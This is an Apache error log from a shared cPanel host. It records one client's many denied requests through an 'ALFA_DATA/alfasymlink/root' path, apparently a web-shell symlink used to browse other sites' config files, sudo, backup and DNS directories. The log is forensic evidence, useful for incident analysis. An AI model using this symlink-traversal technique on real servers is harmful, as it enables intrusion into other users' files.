[Sun Oct 25 14:27:02.102820 2026] [authz_core:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52771] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hosp2/error_log
[Sun Oct 25 14:27:02.216091 2026] [authz_core:error] [pid 2879797:tid 2879797] [client 76.135.135.39:52790] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hosp3/error_log
[Sun Oct 25 14:27:02.232263 2026] [authz_core:error] [pid 2878642:tid 2878642] [client 76.135.135.39:52796] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hosp4/error_log
[Sun Oct 25 14:27:02.344211 2026] [authz_core:error] [pid 2875828:tid 2875828] [client 76.135.135.39:52810] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hoteles4/error_log
[Sun Oct 25 14:27:02.344730 2026] [security2:error] [pid 2875828:tid 2875828] [client 76.135.135.39:52810] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hoteles4/"] [unique_id "at5J9jvHG3qCzmf5eaMTDQAAADQ"]
[Sun Oct 25 14:27:02.344769 2026] [security2:error] [pid 2875828:tid 2875828] [client 76.135.135.39:52810] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hoteles4/"] [unique_id "at5J9jvHG3qCzmf5eaMTDQAAADQ"]
[Sun Oct 25 14:27:02.347929 2026] [authz_core:error] [pid 2879794:tid 2879794] [client 76.135.135.39:52811] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ia1/php.ini
[Sun Oct 25 14:27:02.465360 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:52829] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Sun Oct 25 14:27:02.465818 2026] [authz_core:error] [pid 2879793:tid 2879793] [client 76.135.135.39:52828] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 14:27:02.469303 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:52834] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/monster/php.ini
[Sun Oct 25 14:27:02.564279 2026] [authz_core:error] [pid 2875798:tid 2875798] [client 76.135.135.39:52844] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/plantas1/php.ini
[Sun Oct 25 14:27:02.569227 2026] [authz_core:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52845] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/plantas2/php.ini
[Sun Oct 25 14:27:02.570313 2026] [authz_core:error] [pid 2879795:tid 2879795] [client 76.135.135.39:52843] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/plantas3/php.ini
[Sun Oct 25 14:27:02.988428 2026] [authz_core:error] [pid 2879793:tid 2879793] [client 76.135.135.39:52938] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/wapi1/error_log
[Sun Oct 25 14:27:03.291530 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:52972] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/db/sudo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/db/sudo/' is executable
[Sun Oct 25 14:27:03.291983 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:52969] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/apache2/' is executable
[Sun Oct 25 14:27:03.292091 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:52969] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/private/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/private/' is executable
[Sun Oct 25 14:27:03.292372 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:52969] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/ldconfig/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/ldconfig/' is executable
[Sun Oct 25 14:27:03.297227 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:52968] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_restore/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_restore/' is executable
[Sun Oct 25 14:27:03.297408 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:52968] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tmp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tmp/' is executable
[Sun Oct 25 14:27:03.297437 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:52968] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/db/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/db/' is executable
[Sun Oct 25 14:27:03.297454 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:52968] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/backups/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/backups/' is executable
[Sun Oct 25 14:27:03.297506 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:52968] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/conf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/conf/' is executable
[Sun Oct 25 14:27:03.297538 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:52968] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tasks/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tasks/' is executable
[Sun Oct 25 14:27:03.297583 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:52968] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_download/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_download/' is executable
[Sun Oct 25 14:27:03.602908 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53034] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/cache/' is executable
[Sun Oct 25 14:27:03.602965 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53034] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/data/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/data/' is executable
[Sun Oct 25 14:27:03.603033 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53034] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/ns_parse_cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/ns_parse_cache/' is executable
[Sun Oct 25 14:27:03.603148 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53034] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/dynamic/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/dynamic/' is executable
[Sun Oct 25 14:27:03.603237 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53034] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/parse_cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/parse_cache/' is executable
[Sun Oct 25 14:27:03.603278 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:53034] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/slaves/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/slaves/' is executable
[Sun Oct 25 14:27:03.765607 2026] [security2:error] [pid 2873159:tid 2873159] [client 76.135.135.39:53052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/yp/"] [unique_id "at5J9_1CbQghwAu-zzMC1wAAACA"]
[Sun Oct 25 14:27:03.765653 2026] [security2:error] [pid 2873159:tid 2873159] [client 76.135.135.39:53052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/yp/"] [unique_id "at5J9_1CbQghwAu-zzMC1wAAACA"]
[Sun Oct 25 14:27:03.768746 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/chyrp/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.769833 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/RITwlF8UBX/' is executable
[Sun Oct 25 14:27:03.769886 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Xf45g1vOVG/' is executable
[Sun Oct 25 14:27:03.769915 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sun Oct 25 14:27:03.769957 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sun Oct 25 14:27:03.770044 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/n83SSM739h/' is executable
[Sun Oct 25 14:27:03.770089 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6kbL1XuIiD/' is executable
[Sun Oct 25 14:27:03.770114 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sun Oct 25 14:27:03.770151 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/v7WsvFUVho/' is executable
[Sun Oct 25 14:27:03.770176 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nnRZJb1Juq/' is executable
[Sun Oct 25 14:27:03.770164 2026] [core:crit] [pid 2879796:tid 2879796] (13)Permission denied: [client 76.135.135.39:53049] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/logs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/logs/' is executable
[Sun Oct 25 14:27:03.770199 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sun Oct 25 14:27:03.770223 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sun Oct 25 14:27:03.770248 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/wBeybsLHXV/' is executable
[Sun Oct 25 14:27:03.770274 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/8q2sCydPh5/' is executable
[Sun Oct 25 14:27:03.770311 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ViFEAD6HYr/' is executable
[Sun Oct 25 14:27:03.770333 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WnEC8KZtlU/' is executable
[Sun Oct 25 14:27:03.770395 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hNQbPWd2kD/' is executable
[Sun Oct 25 14:27:03.770418 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7b1aDEYVIR/' is executable
[Sun Oct 25 14:27:03.770439 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nL4cUoX2dh/' is executable
[Sun Oct 25 14:27:03.770459 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/atbV7hLAQS/' is executable
[Sun Oct 25 14:27:03.770498 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oq6K0rejFI/' is executable
[Sun Oct 25 14:27:03.770525 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_4gGxNj1jq/' is executable
[Sun Oct 25 14:27:03.770547 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PK7EkDXBbp/' is executable
[Sun Oct 25 14:27:03.770567 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/P7NdWo184S/' is executable
[Sun Oct 25 14:27:03.770643 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sun Oct 25 14:27:03.770669 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1Yt1W3a9Ze/' is executable
[Sun Oct 25 14:27:03.770691 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rQ4cdkNCQ/' is executable
[Sun Oct 25 14:27:03.770711 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_kkgr6o8ai/' is executable
[Sun Oct 25 14:27:03.770737 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xjhoijgaTz/' is executable
[Sun Oct 25 14:27:03.770764 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/vhrRK1JXY7/' is executable
[Sun Oct 25 14:27:03.770799 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/w1Du8raeKq/' is executable
[Sun Oct 25 14:27:03.770826 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sun Oct 25 14:27:03.770847 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/4x7GklfLfl/' is executable
[Sun Oct 25 14:27:03.770853 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/atlantis/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.770867 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Jv_fJ8FgT6/' is executable
[Sun Oct 25 14:27:03.770915 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/aWw1loTP0R/' is executable
[Sun Oct 25 14:27:03.770957 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sun Oct 25 14:27:03.770980 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rtyBKWjryj/' is executable
[Sun Oct 25 14:27:03.771001 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ipRojNggb4/' is executable
[Sun Oct 25 14:27:03.771021 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_NkDK_G3eh/' is executable
[Sun Oct 25 14:27:03.771043 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
